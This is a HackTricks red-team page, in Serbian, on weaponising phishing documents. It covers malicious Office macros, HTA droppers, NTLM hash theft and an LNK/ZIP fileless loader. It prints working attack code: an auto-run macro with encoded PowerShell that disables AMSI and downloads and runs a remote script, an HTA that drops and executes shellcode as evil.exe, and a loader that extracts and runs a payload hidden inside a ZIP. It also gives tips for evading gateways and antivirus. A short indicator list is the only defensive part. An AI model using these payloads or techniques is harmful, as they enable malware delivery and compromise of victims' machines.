Phishing fajlovi & dokumenti
Reading time: 8 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Office dokumenti
Microsoft Word vrši validaciju podataka fajla pre nego što otvori fajl. Validacija se obavlja u vidu identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se dogodi bilo kakva greška tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren.
Obično Word fajlovi koji sadrže makroe koriste ekstenziju .docm
. Međutim, moguće je preimenovati fajl promenom ekstenzije i i dalje zadržati mogućnost izvršavanja makroa. Na primer, RTF fajl po dizajnu ne podržava makroe, ali .docm
fajl preimenovan u RTF biće obrađen od strane Microsoft Word-a i biće sposoban za izvršavanje makroa. Ista interna logika i mehanizmi važe za sav softver iz Microsoft Office Suite (Excel, PowerPoint itd.).
Možete koristiti sledeću komandu da proverite koje će ekstenzije biti izvršavane od strane nekih Office programa:
assoc | findstr /i "word excel powerp"
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
Učitavanje spoljne slike
Idite na: Insert --> Quick Parts --> Field
Kategorije: Links and References, Nazivi polja: includePicture, and Ime fajla ili URL: http://
Macros Backdoor
Moguće je koristiti macros za pokretanje arbitrary code iz dokumenta.
Autoload functions
Što su češće, veća je verovatnoća da će ih AV otkriti.
- AutoOpen()
- Document_Open()
Macros Code Examples
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
Ručno uklonite metapodatke
Idite na File > Info > Inspect Document > Inspect Document, što će otvoriti Document Inspector. Kliknite Inspect i zatim Remove All pored Document Properties and Personal Information.
Ekstenzija dokumenta
Kada završite, izaberite padajući meni Save as type, promenite format sa .docx
na Word 97-2003 .doc
.
Uradite ovo zato što ne možete sačuvati macros unutar .docx
, i postoji stigmatizacija oko macro-enabled .docm
ekstenzije (npr. ikona sličice ima ogroman !
i neki web/email gateway-ovi ih u potpunosti blokiraju). Stoga je ova legacy .doc
ekstenzija najbolje kompromisno rešenje.
Generatori zlonamernih Macros
HTA fajlovi
HTA je Windows program koji kombinuje HTML i skriptne jezike (kao što su VBScript i JScript). Generiše korisnički interfejs i izvršava se kao "fully trusted" aplikacija, bez ograničenja sigurnosnog modela pregledača.
HTA se izvršava pomoću mshta.exe
, koji se obično instalira zajedno sa Internet Explorer, što čini mshta
zavisnim od IE. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
Forsiranje NTLM autentikacije
Postoji nekoliko načina da forsirate NTLM autentikaciju „na daljinu“, na primer, možete dodati nevidljive slike u mejlove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi adresu fajlova koja će okidati autentikaciju samo otvaranjem foldera.
Pogledajte ove ideje i još više na sledećim stranicama:
Force NTLM Privileged Authentication
NTLM Relay
Ne zaboravite da ne možete samo ukrasti hash ili autentikaciju već i perform NTLM relay attacks:
LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Veoma efektivne kampanje isporučuju ZIP koji sadrži dva legitimno izgledajuća dokumenta (PDF/DOCX) i zlonamerni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izrezuje i izvršava u celosti u memoriji.
Tipičan tok koji implementira .lnk PowerShell one-liner:
- Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory.
- Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload.
- Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate.
- Bypass AMSI for the current process: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
- Deobfuskujte naredni stejdž (npr. uklonite sve # karaktere) i izvršite ga u memoriji.
Primer PowerShell skeleta za izvlačenje i izvršavanje ugrađenog stejdža:
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
Napomene
- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može ograničiti payloads (poslužiti benigni ZIP prema IP/UA).
- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi smanjila tragove na disku.
Persistence korišćen u istom lancu
- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja app koja ga ugradi ponovo automatski pokrene payload. Pogledajte detalje i gotove komande ovde:
Hunting/IOCs
- ZIP fajlovi koji sadrže ASCII marker string (npr. xFIQCV) dodat na podatke arhive.
- .lnk koji pretražuje parent/user foldere da locira ZIP i otvori lažni dokument.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Dugotrajni business threads koji se završavaju linkovima hostovanim na pouzdanim PaaS domenima.
Windows fajlovi za krađu NTLM hashes
Proverite stranicu o mestima za krađu NTLM creds:
Reference
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Hijack the TypeLib – New COM persistence technique (CICADA8)
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.